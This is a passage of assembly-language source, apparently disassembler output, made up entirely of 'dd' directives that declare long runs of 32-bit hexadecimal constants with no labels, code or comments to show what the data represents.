		dd 0A4712FA1h, 83230032h, 6C995B56h, 5E00CD2Ch,	0ED54DE38h
		dd 95EB1890h, 817FA800h, 0FB09D22Fh, 12923E0h, 9067A330h
		dd 7418602Bh, 8174527Dh, 5794C200h, 0EEA13621h,	6A1E005Ch
		dd 41CB48DAh, 3E090FEBh, 7DB437h, 0CD0D7685h, 184B29h
		dd 8AB7992Ch, 0DE008C66h, 4BB086E1h, 0F252D262h, 2F6700B9h
		dd 2CD82369h, 7A0F36C1h, 0C0E5B2B1h, 0D315E2E4h, 4B3E613h
		dd 237CD1A1h, 0D94802Ah, 1A1DBE90h, 29876D85h, 0ACC31C1Fh
		dd 5619A836h, 9F3E04BBh, 0D0FE43A8h, 296E4854h,	0B240A76h
		dd 6287902Eh, 3630B6A7h, 24CA20D9h, 3C9B7Fh, 0E6FD10E3h
		dd 1A00ED9Ah, 3BE1928Ch, 7C361Dh, 305D6816h, 357E93EFh
		dd 21E74600h, 6C5B8D45h, 679F073Ah, 0D052DC4Bh,	0D89C2EDh
		dd 8145C13Eh, 9D1EB29Bh, 8C40E1C0h, 77DB6F6h, 7037F16Ch
		dd 0EA970067h, 840003E7h, 32C29DFDh, 260EC98h, 0E9325E2h
		dd 34CE8DAAh, 96EFD638h, 0A8309C7Bh, 5F12376h, 336853Bh
		dd 6EF890F8h, 5015D5Ah,	0D97BBC4Dh, 71D40C2Ah, 2885F033h
		dd 3CC443A7h, 0BE8FCFF1h, 0C53EAB4Fh, 901D1FDBh, 38AE9564h
		dd 9210BC18h, 86B01Eh, 51BA5761h, 0BC65C66h, 9A153D07h
		dd 2D9419C9h, 2D50093h,	6D27D698h, 0F4602292h, 79029E40h
		dd 50D1D728h, 59C8A07Ah, 0FADDAh, 21CFDF38h, 0BE7BD4C9h
		dd 9202F174h, 8CF9DDCAh, 0AB988258h, 0CB8CC899h, 0A9C3308Bh
		dd 9C04DFB0h, 1010215Dh, 81B04C5Fh, 6B59121Ah, 98D40334h
		dd 0F7FC8A4Fh, 854089DBh, 0B607B0h, 2CC52000h, 2208E3C6h
		dd 5366C900h, 18E47ED1h, 0A090A816h, 0B70700AFh, 4DC4C119h
		dd 1200AEE6h, 4BB2DC6h,	0E632568Bh, 39A74DFh, 6FA40852h
		dd 27C3DACAh, 180B14Ch,	0F868FE8Fh, 5982618Bh, 0B3E29D71h
		dd 2316BCECh, 0F4007F10h, 0C0091773h, 0E08200E4h, 30ABE831h
		dd 0E1C97128h, 7524E8A2h, 68405C96h, 0F4958801h, 0E0D48AC5h
		dd 572C05E7h, 0E802013h, 2A9DC682h, 0D7B407D9h,	3F4EEC0h
		dd 71D56095h, 57651EA4h, 0B59FA2C4h, 0FD52201h,	5C412EDCh
		dd 310EE488h, 7F83EAF7h, 0A6D8DAF3h, 0D80E878Ah, 0D2DBE3EDh
		dd 74379802h, 4D994077h, 9A2D00A0h, 21A41052h, 7E07068Bh
		dd 0D09E4251h, 0E8636063h, 0C1F16Bh, 0F35AB076h, 8EEF019Bh
		dd 96BC1338h, 0A8008A91h, 22D379DFh, 576E00ABh,	0A9B63E58h
		dd 82002C38h, 2E8F101Fh, 773A18h, 4BC7A66Eh, 71560521h
		dd 9DC84354h, 20E004BCh, 0AFD8699h, 0A69FCEBDh,	38770084h
		dd 0CD276FB7h, 370278B2h, 4C3BA955h, 15F4EE75h,	0EC39C4C0h
		dd 0F285F900h, 1B53915Fh, 32D13507h, 4BF3EE2Ah,	0DC9A85Ah
		dd 0E1FD0444h, 807FF540h, 24993AD3h, 2820980Eh,	828DC02Ah
		dd 1D77514h, 8A47BAD4h,	30E38C18h, 1F001D9Ch, 8B70DF20h
		dd 2BC680h, 4C0D196h
		dd 0D6240B69h, 0C1931D02h, 0C00D6631h, 49156Ch,	0BB46C635h
		dd 16D5F113h, 0E173A001h, 843F687Eh, 0EC3B9024h, 0BC8A1D08h
		dd 1F0AC09Eh, 0BFB892EDh, 6C3CF890h, 1D0180F7h,	64FDAB98h
		dd 89043880h, 8017DC1Eh, 6B4D7BB9h, 0D42D3B77h,	6FA400D7h
		dd 4E1C1D97h, 0EA8C076h, 4D00A8CAh, 0CD0AAFF8h,	72E5FF81h
		dd 9D193FC9h, 97FD1500h, 0DE3570B6h, 3D67EA00h,	73258CEFh
		dd 84F50042h, 1E2CB716h, 774C4FDBh, 373F0064h, 46E24908h
		dd 0CDE02FDh, 17DB7629h, 0E4DFE840h, 9747201h, 0D42E2883h
		dd 0FC008D31h, 3DE86BAh, 1D0ADD11h, 0B05461E8h,	82004F98h
		dd 0D902A9C2h, 43490Eh,	664D9CB8h, 968C1608h, 0B0312473h
		dd 489DD87Dh, 418D70h, 540F7E17h, 0E4784945h, 70440300h
		dd 6FC57BFEh, 0E3DE0067h, 93C16EE1h, 0D60F8633h, 2051D9BBh
		dd 65552331h, 75BAFAF7h, 9047F85Dh, 36E0F0h, 0E92A16Ch
		dd 18E7DBF8h, 54C80A24h, 0E896EA80h, 888D6Fh, 5ED33B9Eh
		dd 2B7185FAh, 0E9A55300h, 0E8229B55h, 12AF00DCh, 0C3E69E15h
		dd 1300BF11h, 5F476162h, 0FE0FA0h, 0BA896659h, 818CE25h
		dd 0AA57AE0Eh, 0E9DC04Dh, 14D324E0h, 0DCBEF267h, 0E1291D00h
		dd 3A0F03DDh, 6446D800h, 0C5254086h, 87C4014Dh,	66EBC3B2h
		dd 70B42CE8h, 3074ED09h, 14A0016Bh, 68345446h, 0EA520E1Fh
		dd 0E5406817h, 0E7B1400Bh, 0B0C27F24h, 0C7454700h, 6EE274E4h
		dd 8E403079h, 99AA1A17h, 9A48E000h, 9CD9C47Ah, 5307260Bh
		dd 0F4CC07B8h, 0B31732E9h, 31576CC1h, 0D08887A5h, 1C6275ECh
		dd 4CBCC6AAh, 97001461h, 3DFDD718h, 0BD0ECC72h,	706FFE3h
		dd 5B9092B6h, 6A7159h, 96C118E1h, 0B0D9E725h, 0EEA57306h
		dd 0E1D10F3Eh, 0B378DE0h, 5C2556A9h, 7C2934E0h,	0A475F705h
		dd 0A491FC20h, 9838B128h, 0AFA0304Ah, 690E113Eh, 0A3627F55h
		dd 0E8DA4BF0h, 2CEBC05Ah, 0B8FAC4h, 375D512Fh, 3606E934h
		dd 891E32FFh, 35E52C40h, 789825F8h, 9E042C2Fh, 726BC8E7h
		dd 0C0667492h, 138ACB0Ch, 80F9534Ah, 1F93A9E8h,	0C99D298h
		dd 73EFEB80h, 9FCE6F3h,	0E2CA2A99h, 6979B700h, 1E168052h
		dd 48366085h, 0F25E00F8h, 6A7A29B2h, 0C09A3708h, 8852F02Ch
		dd 0B814E681h, 0F463E439h, 2646D09h, 0BAE8ACA1h, 0DC2C5022h
		dd 0CB5D68B9h, 1C56002Ch, 979A2433h, 2C12E2ECh,	38E3110h
		dd 50CD4F52h, 0CAF22B0h, 0EE805CB1h, 4DBDE21Eh,	492C60CDh
		dd 0C02F96B7h, 0A1317C13h, 6DC414h, 0AE63A5CFh,	3492DDh
		dd 60A92EC3h, 0DE2893Fh, 0FEEA7500h, 0D2DC3A0Eh, 1A150571h
		dd 33F68Dh, 0D5AD9785h,	0B5138FD3h, 38803A5Eh, 0E4D638h
		dd 923507A7h, 488B8AC8h, 861E9E7Fh, 0D9C079A8h,	5D110BA4h
		dd 0EFF485h, 0F4FF7EA6h, 0DA7D464Eh, 34D911C1h,	0A0C33342h
		dd 0C79B3Ah, 266E2785h,	3D360E65h, 87B6B238h, 5E632A25h
		dd 19A85A90h, 122BB08Bh, 42F9F1D3h, 2E91B584h, 2E0C5CC9h
		dd 0A6EE9005h, 5A527892h, 809638F0h, 0F4CFB580h, 0E72AE65Ah
		dd 0A68CFE61h, 0EDF48132h, 0AF80071Eh, 50E36871h, 842AE9DAh
		dd 5D0F6E00h, 9E933DB6h, 0DD48003Ah, 7B9FED5Ah,	0E900898Eh
		dd 1D25E30Eh, 90C34F2h,	2AEAD43Ah, 0F120DCF8h, 360D28F4h
		dd 16DB3CBCh, 934F870Eh, 1FA41740h, 58F2530Bh, 20C95400h
		dd 3A685A12h, 0AEF20007h, 0DE6F6DCEh, 97004CF8h, 0A73B5E2Bh
		dd 2C575DF9h, 0B24C269h, 0B40092C4h, 0C83F23FEh, 6C0ED9FCh
		dd 0B7AEEABAh, 4CE62510h, 2B1700FAh, 95800B38h,	0BBA12435h
		dd 88C800E0h, 3748B290h, 71BFE018h, 818041h, 11354CBBh
		dd 0D65BAE02h, 39008DF4h, 0FBEAC1F9h, 162A07C8h, 0FDBDCD8h
		dd 4E614446h, 30CC59F3h, 702DC1B0h, 488CC43h, 0B463C767h
		dd 0C290E80Fh, 0A0D83317h, 0B2D0E2E4h, 0A998009Ch, 5E673E15h
		dd 0E373F22Dh, 16CC009Fh, 50085Fh, 0F8D52966h, 0D2261AE6h
		dd 0C8B17A17h, 0C0740CC0h, 0DDA90161h, 66233036h, 2DFC291Ch
		dd 0A80CB385h, 4AE32954h, 0A880C5D9h, 69770010h, 82EEC89h
		dd 1452005Bh, 20A7A60h,	0F0B811B0h, 3A0BC613h, 57C4351Ch
		dd 0BCC01EACh, 6D4548h,	8210634Fh, 0F350D824h, 2DB2191Ch
		dd 45A68F87h, 0EDB73460h, 0FCDA006Ah, 53160A4h,	0AB4A73EBh
		dd 0B6197C90h, 3A301E8Ah, 1655C03Bh, 888CDC36h,	0FF562300h
		dd 664E40CCh, 0B5400FEh, 0F6761186h, 0A358FD7Dh, 0EEAF037Dh
		dd 0F039A7A5h, 2D2BB7B4h, 2880C788h, 0E3DB1CD8h, 6A9F7802h
		dd 0E1BBD779h, 12C46E74h, 0EE412FF1h, 14AC7420h, 8D7F666Ah
		dd 44AB1900h, 0E4AA683Eh, 0FE972AEh, 0C3CFE6A7h, 46A0C5EFh
		dd 13428E7h, 0E8DE0E00h, 0B17E2EBEh, 0FD21674h,	331B0130h
		dd 0C0FFACE5h, 881F4463h, 86802705h, 41DC812Fh,	6DC200AFh
		dd 2D82DA90h, 373C5564h, 0CF13FD74h, 0D80004B8h, 3173C4A2h
		dd 1A6A0025h, 9B3489F4h, 0B71F0DB6h, 60CBD25Fh,	125703B4h
		dd 2C5AA030h, 973A3AF9h, 90635D97h, 533E6204h, 98791B01h
		dd 0CE5B2DDBh, 1D83F8h,	55A6B6C9h, 0AD7D53F7h, 0EBC24F00h
		dd 93AA4663h, 0E5A90565h, 8056D7D8h, 0A81B0DC8h, 90D52700h
		dd 336187BEh, 0EEB00723h, 9ECD2Ch, 0BF0CDBD3h, 0E3329400h
		dd 6DD746BAh, 68A4000Eh, 0F9384CC9h, 4A04AE01h,	0E7A5B475h
		dd 0A023C8C3h, 9E91E113h, 4BB50080h, 1089D89Ch,	0DC0160D3h
		dd 6824150Fh, 261EB2F4h, 84D81321h, 0D01AE245h,	0B748A4ECh
		dd 0CE019778h, 22D49225h, 0E1EC7720h, 0B4CB0BB5h, 4909F432h
		dd 3C58AC07h, 30005AC1h, 0EC27F2B1h, 4937D8h, 48AB2A9Ch
		dd 6F15312h, 0CB6AA400h, 0D8B23622h, 0E3100058h, 0B7C93511h
		dd 1A063769h, 0E83C0882h, 8FEB1388h, 6CCC0718h,	0EA27D0h
		dd 4EAEA1C6h, 0CED22101h, 0FA19D136h, 0CFB0C8h,	0F181654Fh
		dd 0E476FCA2h, 4812AF32h, 7C92E087h, 8B6B0C45h,	0F3C915A7h
		dd 3C5F44B0h, 0FB9C6C81h, 123BCA60h, 0F2844B9h,	0FCE2F7A4h
		dd 7FC0C12Ch, 340096E7h, 960B07Dh, 76C2FF12h, 0E04203F8h
		dd 1890EC87h, 66A346B0h, 3167F715h, 4B070BCCh, 0F330103Ah
		dd 28054D87h, 36056D3Ch, 9040F654h, 7CCD72BCh, 0BB0FCF2h
		dd 0A2744606h, 44813AFh, 0B478676Dh, 18E8CBh, 41540351h
		dd 0E8315F63h, 982BB0D4h, 0B571C22h, 40DD4B39h,	6A2B9460h
		dd 6B25EE01h, 7FCBDA21h, 2E4E48C0h, 80B4B723h, 83526D85h
		dd 9E0053BAh, 0D55FAA9Dh, 0DE10F1h, 3E70EAD8h, 5D121AA7h
		dd 28C044Ch, 8F989B79h,	4AA469E6h, 7BAF2FCh, 0F1A5C610h
		dd 0B6A4232Ch, 9BE03BDBh, 0F8005201h, 1362C7D4h, 2E7B2177h
		dd 8080650Dh, 334C1730h, 9B0F4B04h, 8593B88Ah, 0D4D0F4C5h
		dd 0F320BFh, 0B48BEADh,	0C4349BA5h, 0D9A16C00h,	579DC3B5h
		dd 6BACA853h, 7839016Fh, 86EE9C9Bh, 661983F8h, 4E7A69Fh
		dd 0AAEF1DB1h, 0D972C07Dh, 2C05040Ch, 47CAC14Bh, 0FCF4880h
		dd 1E8598C9h, 3AA19420h, 841E2A80h, 48CD5958h, 1D14735Ch
		dd 270208EEh, 609EC7E3h, 9240F2F4h, 2EEDFA58h, 149B260h
		dd 1392A416h, 0D873C4E6h, 1A00BEF8h, 6501F1C9h,	1DDBBC2h
		dd 2484F677h, 80BDF9F0h, 0E58BB911h, 0CB4F9Ah, 6B1CDA34h
		dd 1AABE8D7h, 5E01B0F2h, 4A6F123h, 5A96EB2Eh, 0D00C4020h
		dd 0ED6A8AB7h, 24F4Ah, 503F0E19h, 0E244FFDCh, 1F82C780h
		dd 79A9719Dh, 0D92B181Eh, 72BE31B8h, 2C662048h,	6E007054h
		dd 265621A9h, 80E0007Fh
		dd 0FADB7124h, 0D40119FCh, 4F01AC1h, 0D2605032h, 38391209h
		dd 6EC08092h, 5630DE8Ch, 704328BCh, 12900541h, 0C2FB94C6h
		dd 3870FC9Ah, 0D1FA0178h, 0C9002371h, 644B2BC7h, 0A0A05297h
		dd 9C9C1EE4h, 0F08400CCh, 1301EEA3h, 0E9316B90h, 74E8A888h
		dd 0A0C5C0h, 4ABAB164h,	8047C3E6h, 5DF0785Ah, 3F9B00FFh
		dd 71EA625Ch, 2B001C57h, 41F0CBA8h, 14DABC23h, 0A4E7D08Fh
		dd 280F0400h, 0B3B01529h, 51EC455Dh, 0A037F4F8h, 5593D100h
		dd 0FC537F33h, 7BBC01DFh, 35AF662Dh, 586BEC84h,	2244B800h
		dd 67D065C3h, 4D44EF2h,	0A9BEC12Ch, 0D606801Ch,	7603F79Eh
		dd 925900E2h, 0EA951444h, 5C003277h, 502D1BEBh,	0C8FEBCh
		dd 0D2F6538Dh, 0A79F34BFh, 0BA40C100h, 63BEDF95h, 98907D0Fh
		dd 5FAC1F2Ch, 0E5B5C0B8h, 949FDE15h, 9E9D2C12h,	5876CE0h
		dd 8A867C1Fh, 0B1DC04EAh, 0EFFB40F3h, 7C72E3A9h, 3F9703ECh
		dd 0EE2D207Dh, 0A51558D8h, 2C5D8000h, 0B1D4B565h, 0C0795E42h
		dd 13BFF37Ch, 0A50FCEE6h, 80474A66h, 91B53660h,	14460757h
		dd 609F01A2h, 0A8FA29D4h, 0B0961831h, 0FE6071B5h, 0F724244Eh
		dd 686E0318h, 0E2E08406h, 0DA00CDBBh, 0AB8741A6h, 24EB7FD1h
		dd 3FC3E60h, 937471FBh,	0D5C26480h, 2C5C8300h, 2A78EB30h
		dd 5C1B5908h, 0E0D1F412h, 381D8E58h, 0C06DC310h, 0E93448h
		dd 9EBF31F1h, 8A8651Ch,	0F70129F0h, 0FAB9132Ah,	8688227h
		dd 7E240B4Ah, 0F313BB5Eh, 62DFD402h, 60C0D952h,	2B6CDB46h
		dd 5EC8C404h, 6CF09CA4h, 0B82C3B16h, 0DED9BC00h, 4AF76F41h
		dd 7380C060h, 2D947725h, 0BCE95BF8h, 24F1D4FDh,	650067FCh
		dd 0D3CE96ADh, 5C2B3762h, 4824A4E0h, 92390519h,	0B3A0C0DFh
		dd 158FE78h, 0D3127D42h, 8CC2D819h, 4028564Dh, 664E6D70h
		dd 0CCD7C81Eh, 0C52E580h, 0F204B93Ah, 0E00E03F0h, 0CD47ED28h
		dd 7FD313B8h, 399024A3h, 84071FBAh, 5F04FFAAh, 64A92045h
		dd 0E72C2880h, 140F2763h, 7B2F26Ah, 6EC00C03h, 639A9D4h
		dd 0DF86FD2h, 3B0388D5h, 0EF9A9FB2h, 5230DFDCh,	1AC549h
		dd 7C688EAEh, 0F1079C1Bh, 0F505BE00h, 4710AC21h, 0C120044h
		dd 286C5290h, 2E00DC50h, 0F3351E6Ah, 12493A68h,	7610BC9h
		dd 90110434h, 0FFE12A8Bh, 469D7116h, 0F87EC00Ch, 281FE6Eh
		dd 4949278h, 0EC725256h, 5A7EF612h, 0F200D852h,	0F0F7510Ah
		dd 487A0040h, 77A558EBh, 5560DB30h, 0E9261568h,	63C30012h
		dd 47D8D6A1h, 7E0093DCh, 0CFFFAD4Eh, 17BDA5Bh, 0C616F670h
		dd 0C4573E23h, 28EE0763h, 0D3BC2600h, 21B21158h, 51403FA3h
		dd 24BE3502h, 80E01A07h, 3A485C8Ch, 93B27A0h, 225C78D8h
		dd 3CF4A725h, 50F0B8D3h, 0B17C81h, 4D0B2835h, 67830C80h
		dd 0E6EFB900h, 9DBFDC32h, 39551C4Ah, 78B4415Bh,	7B15B1AEh
		dd 0C0334C4Eh, 0B338C6CBh, 0B5810030h, 0F2A23B6Fh, 0F40EEA89h
		dd 405F568Ah, 3C41F5BDh, 9C6327CDh, 89FBB801h, 472320C6h
		dd 1BC80700h, 589580FAh, 24E901D1h, 0BDD80D6Eh,	7C49E0F1h
		dd 9B097B77h, 5683D0DAh, 4FAF0114h, 0D2A1C445h,	44DF1E60h
		dd 0E809E8D2h, 0D8519Ch, 4B6815EFh, 6F00E184h, 5E0CA553h
		dd 9FC110E4h, 0A8980485h, 0B2810044h, 0CEAD2B1Eh, 0D22100C7h
		dd 0CC3BD70Bh, 0E100F82Fh, 0BB081BA5h, 13960C8h, 56BEE3FFh
		dd 0C4BCF9C7h, 0AB01E527h, 4DD1ACE0h, 26C42BDBh, 19C50059h
		dd 84A0613Bh, 0D6002D4Ch, 0C8AC9AA2h, 1081AFAh,	25EB75D0h
		dd 7E34A65Ah, 83480Eh, 0A738AF9Ch, 639901F9h, 4C41D53h
		dd 0A08FE6B9h, 0DFF712E0h, 301C762Eh, 2A3CD785h, 4600AC16h
		dd 0EE9E8226h, 0E2EF532Eh, 98DE0029h, 0F16516D6h, 600058B5h
		dd 0CE5DB8ECh, 0F487A6E8h, 6A1A48EDh, 2CC4017Bh, 63405B2Eh
		dd 0FCD02B5Eh, 88E43CB0h, 0D0EDB3Ah, 82EB39C3h,	60FE5CBFh
		dd 0F8F33804h, 18C9E821h, 31E6B1B2h, 2E01C166h,	45FBD1D6h
		dd 4CD0E9E0h, 241700AAh, 0B1385EF6h, 410B0362h,	0A06BEE2Ah
		dd 301DBF60h, 8058DF32h, 0FBE1F20Eh, 140ECA2Dh,	4C20C822h
		dd 78BD60A2h, 2ED863AAh, 601DDA50h, 294AE048h, 0D8062899h
		dd 1F319E7Ah, 0C00B6620h, 170ADF74h, 0F028F822h, 1C0610A7h
		dd 0D33A6B98h, 3FD90FE8h, 808063D2h, 0C2CD7121h, 0ACC75700h
		dd 76DC6A26h, 0F0A04A46h, 0E3F61A20h, 1E00CA70h, 0DF4143FFh
		dd 0C74032h, 2F42714Dh,	90FCC67Ch, 43CBB201h, 2D0A8B0Dh
		dd 0D00EF4h, 0FD4E0812h, 0CDF48C26h, 0ADE1CF01h, 3E9418B4h
		dd 892EECh, 0DD494807h,	0FB0560C3h, 0D1E15725h,	20028034h
		dd 5CC01215h, 0C14F131Dh, 0F7774A00h, 3F3D0684h, 7B9F72CCh
		dd 80FF00AAh, 0AC0D87CEh, 0FE86B401h, 42811839h, 0B771080h
		dd 74DF774h, 97EF0F3Eh,	4B00E4A1h, 85C2533Eh, 0D21100DAh
		dd 0CC7E1473h, 0F0E31287h, 821E0E75h, 720E70AAh, 533D80BEh
		dd 78D477BDh, 0D55D003Ch, 4A551B11h, 423AB681h,	49A04C12h
		dd 4C868B0h, 4085DFF5h,	0C4C0FAE0h, 5C209F5Bh, 1D800C3Fh
		dd 39C8DD32h, 6B0E3B03h, 0A30DE360h, 202100D4h,	0B15DDD3Ah
		dd 0DC78384Ah, 0CCFAD62Eh, 0E7506601h, 0AC709FD8h, 3E260064h
		dd 3241B540h, 9B60D521h, 0B2540781h, 1E220328h,	6E2AE10Bh
		dd 90F10830h, 3C4BE9BDh, 0C901D2B2h, 149BE560h,	897CEB70h
		dd 0C9491E30h, 6768D430h, 126680F5h, 330710A4h,	0CE36183h
		dd 56DEC251h, 34006F30h, 0FE745DEBh, 593E72Ah, 0C7B2474Ah
		dd 0CDEFC02Fh, 30158D62h, 7C9460FBh, 0A1B3E402h, 0FE99E516h
		dd 27E10797h, 0F01A900Dh, 1E1B3D77h, 0E17829E6h, 3BF164D9h
		dd 0D3A8F88Fh, 30866C63h, 9C741000h, 0D9C2D4A4h, 2DE20CB8h
		dd 0F7696AFAh, 515C2F00h, 2E0271E0h, 3213AD8h, 15210F30h
		dd 0F50F5C17h, 0A3757A83h, 0F3D9B8h, 478443E1h,	7261E3D2h
		dd 3E399700h, 9B2A5D48h, 8CB701BCh, 0D181B850h,	0F8B4406Dh
		dd 59C22FAEh, 903AE2B9h, 115C2844h, 88F9E048h, 10188709h
		dd 88DD305Ch, 8200FF79h, 7E9C6048h, 91D696C3h, 540C3830h
		dd 0DAF8113Ah, 32285E10h, 9F58B604h, 27389823h,	39CFDD04h
		dd 0EC320DE3h, 0DD2EFD20h, 0FF2003D0h, 0ED2F1FD1h, 0D975B0A7h
		dd 0BA6080E6h, 0D254DF58h, 1970DE42h, 0D085893Eh, 1D63B72Ah
		dd 0D8CE1311h, 0CE35847h, 2BB0A341h, 21C71408h,	5230C616h
		dd 0E6B649E7h, 38BA0785h, 5C348699h, 2047791h, 8C721F28h
		dd 60EBA888h, 64D6F970h, 0B5FA9335h, 0E4F1F400h, 0C8EC9EF7h
		dd 0DDA8C144h, 808E8865h, 0B9124120h, 758CA7E3h, 0CCF18010h
		dd 3FDEC90Fh, 5F7F84B5h, 852ED080h, 74FB4831h, 0F5B884h
		dd 3FBDBB30h, 5A78A1B2h, 680C6DE0h, 11802053h, 62CF8E2Dh
		dd 312B5B32h, 7731006h,	1D42E8A6h, 647E63Ah, 78FD50D4h
		dd 0ABA3D00h, 305F1FB8h, 0EFCD247Ch, 8C6E84FCh,	1B620005h
		dd 2983F741h, 1C3C1457h, 5845C2C4h, 0BC9646B3h,	0A61C5C00h
		dd 63DAC33Fh, 0A5AC00BAh, 0D8B6A9D3h, 0E17E8664h, 846249Ah
		dd 29091448h, 24B11622h, 0E8EA13F2h, 29DACB2h, 7DC25D0Dh
		dd 0D4A054F8h, 0FFF1DF1h, 0E6CF161Bh, 0C6601031h, 0B251C0DAh
		dd 8CA62183h, 320620h, 0A2B248E0h, 0B17C42B9h, 0BB919900h
		dd 6525CA03h, 0E0B39E1h, 0B7400509h, 6039B404h,	10555C2Bh
		dd 0B00311E0h, 5C1331h,	54286132h, 21C54B1Ah, 0EE745F12h
		dd 3071140Ch, 0E740200Eh, 50275700h, 226DF74Dh,	1B1C30AFh
		dd 78D3C628h, 2480DF4Dh
		dd 30B02C53h, 35293Ch, 0DE97A3CDh, 0F080CACEh, 4A5CB101h
		dd 0FA3F5E23h, 0D622A032h, 0E2C32200h, 0E1CA7E35h, 0EEC472D8h
		dd 0D4620432h, 0D031FE54h, 9EF7374h, 0AC9A8D00h, 5EF7879Bh
		dd 213C98BDh, 2C11E1CFh, 525C2E80h, 88A729E0h, 5C163200h
		dd 8FF773h, 0B1D668C0h,	13076392h, 0A1E1C230h, 7D1EAC7h
		dd 62B0E51Bh, 999B0020h, 0CF0C73EEh, 3042EF0Ch,	5E4C062Fh
		dd 84A3130h, 5C58F826h,	0E2AC943h, 0EBD80718h, 6F007EB0h
		dd 9C0A91D3h, 925B47h, 2C487C87h, 0FA68F38Eh, 6D58807Ch
		dd 8CEDE874h, 0AEB66500h, 509209B7h, 7B0C013Ch,	0F8190B6Fh
		dd 9905C755h, 4329CCE8h, 5237B007h, 0DE8F3F31h,	0E810FB31h
		dd 1250AC3Eh, 8FBE1E0h,	0CAC716C0h, 0C3584331h,	5A881218h
		dd 75A60022h, 0D6D414D2h, 0FE0C2687h, 8158FB3Eh, 10AE005Fh
		dd 984BB7B0h, 0BB0B35C6h, 210DA476h, 0A1645EF8h, 90C2F996h
		dd 0ED5D9404h, 0DC09FD7Ah, 8AABD165h, 2174B47Ch, 928131EEh
		dd 0ED3925D5h, 0DFC6F180h, 72E4CAABh, 0D3EFB4FCh, 5B0179E0h
		dd 9056C202h, 90C53214h, 11B25034h, 887E222Ch, 3DD97EFh
		dd 0ED4DB006h, 9CA9A1C0h, 0B891F87Ah, 3FB73A83h, 0F80CE776h
		dd 24DC3040h, 0F7805E26h, 985D9B2Ah, 8C19B726h,	58031110h
		dd 0FAD788E0h, 0A6732838h, 4616EC0Fh, 0DA488460h, 2B3910B6h
		dd 80EBC80Eh, 6DDD2FFAh, 3701CEB0h, 38A63477h, 9E3E9A4h
		dd 0DAC1FD58h, 8BB58420h, 0A60CF375h, 809D69A2h, 12C492C6h
		dd 2F843205h, 28082310h, 47AA7h, 8DDA4ECDh, 0C5B05B06h
		dd 1D4CF859h, 3B0A075Dh, 0DA82B89Dh, 804388E6h,	861984A0h
		dd 18D0BA1Ch, 0D9E0D6DEh, 0FCA128F4h, 24E83C41h, 81AC8EDh
		dd 449C4721h, 49506106h, 5BDE6560h, 5D2C47D4h, 0B840C387h
		dd 6E261107h, 0C990F317h, 246D053Bh, 2CE0223Fh,	0FFB140ACh
		dd 97B85299h, 8BC1EF00h, 0F82EE5FBh, 615E3242h,	1860BDB1h
		dd 9C9818A5h, 61BF4030h, 3F283739h, 0B0ACA84Bh,	0ED4F0106h
		dd 736E8211h, 3008A24Ch, 6C39BAF4h, 181DC811h, 0F8A9FB3Bh
		dd 5149963h, 0D295B460h, 24617420h, 52BC3015h, 904021CBh
		dd 48D4664h, 1DD57BEFh,	408CC862h, 0E721BB61h, 0A5C0E26Bh
		dd 29978D1h, 0B742F78Bh, 9C683081h, 3891D7C2h, 801F003Bh
		dd 0D2480676h, 97209F0h, 0A881BE93h, 0C4D9522Fh, 2904EB40h
		dd 0B96349C6h, 6E280A2h, 2D154032h, 905A09EDh, 0BC00AA55h
		dd 0C1741E3Ch, 0AC9FDE29h, 861812D1h, 2D3038h, 93DB9107h
		dd 0C05958F7h, 4982B779h, 0ED24C862h, 9BEE0FEh,	9D6A68A3h
		dd 80EE11F8h, 0E05346F7h, 0D87E286Ch, 0B8500BD4h, 18AFE7D0h
		dd 6051A04Dh, 6B0197E3h, 0CCD444B7h, 8472FCA9h,	4A010723h
		dd 6E222AB2h, 0E7803463h, 0D20CB221h, 9F64E801h, 0D5DCF4A9h
		dd 15D7CC20h, 880E0289h, 3A5DE305h, 70D423h, 265B09Ch
		dd 0CA165EFBh, 8C0C5056h, 0E6799Fh, 28FD6F0Ch, 0A3380FEFh
		dd 0D09940E6h, 0FC3D402Fh, 8670F110h, 0B32701AFh, 7F45DC98h
		dd 0C0A835D6h, 0C586DB4h, 3C8F2E6Ch, 89F96708h,	4C0A4C37h
		dd 0D02428B8h, 0BC940808h, 0FA15784Dh, 6303D847h, 0E717B18Ah
		dd 7640B9C0h, 2C1EAD17h, 1C106C01h, 446264D4h, 148CAA05h
		dd 6D84031Dh, 56A2C190h, 35ADB700h, 34640923h, 0A4009CEAh
		dd 5AFB3F41h, 13AB688h,	229BF610h, 0D0A4CBA5h, 0A203EE62h
		dd 0F159BE97h, 0B0918F4Ch, 1C24F929h, 0B9DE7C53h, 663802D8h
		dd 0A8825478h, 786169B0h, 29D2F030h, 0A4627B25h, 0C9631360h
		dd 1B5844D8h, 0B9DF658Ch, 19A2805Dh, 0E491F1E1h, 533F023Dh
		dd 58F63C02h, 0F84A26C8h, 360F4008h, 1B00643Ah,	549AD001h
		dd 18573EA6h, 0B8F38998h, 0EC14745Dh, 794E90Ch,	52D103D6h
		dd 4D9F58A1h, 31076066h, 7839C9DDh, 234FE8C4h, 7F96DDA3h
		dd 27147AD8h, 7CA53CC0h, 61B0BEF3h, 0EB760D3h, 0D841DE91h
		dd 0F7442403h, 0CD5E00Ah, 4E849CAAh, 2301EA8Ch,	7410B1B7h
		dd 4A175C88h, 0A0F081CEh, 447C9841h, 0B424E055h, 8C245059h
		dd 8441D6Bh, 80693203h,	0A82E0CD4h, 14F204F3h, 0E4B1F856h
		dd 50266300h, 0AC04783Fh, 2CA459F7h, 0A829F3B8h, 0EAFDF200h
		dd 3B3E1519h, 8B10CC01h, 0D3185836h, 24317171h,	783F7440h
		dd 0FC5D04A9h, 0C481D022h, 0AC7887C0h, 504847B1h, 306F0184h
		dd 0FACF29A4h, 20D48832h, 574312B8h, 2DF07C00h,	193D78C0h
		dd 5F2722F4h, 6DE005E0h, 4C4ACCEh, 0B8713132h, 9B15EFCh
		dd 0D9804690h, 44CB048h, 76454E00h, 0DEFDE58Ch,	0A0900EC3h
		dd 0A1A7D3D8h, 0EA601DAh, 0ABC424A3h, 10B76305h, 0B0219CF8h
		dd 2840DAD0h, 0EC9BCC2h, 7D6460D9h, 0AA430560h,	5602A82Dh
		dd 2AAEADB2h, 82EC6210h, 79391220h, 0B36600F8h,	98C6951Bh
		dd 0BF4E7400h, 1C627917h, 0BCBA0053h, 64DAD390h, 277A2E6Fh
		dd 1758C72Dh, 80EB11A0h, 0F60A3FEDh, 0DB40024Dh, 0D534D442h
		dd 149EE082h, 9AC04C4Dh, 0B8C2336Fh, 0F6EEEC00h, 27534E8Fh
		dd 0DA2FD110h, 0F473ECFAh, 4E85820h, 0A4663DB7h, 28A88104h
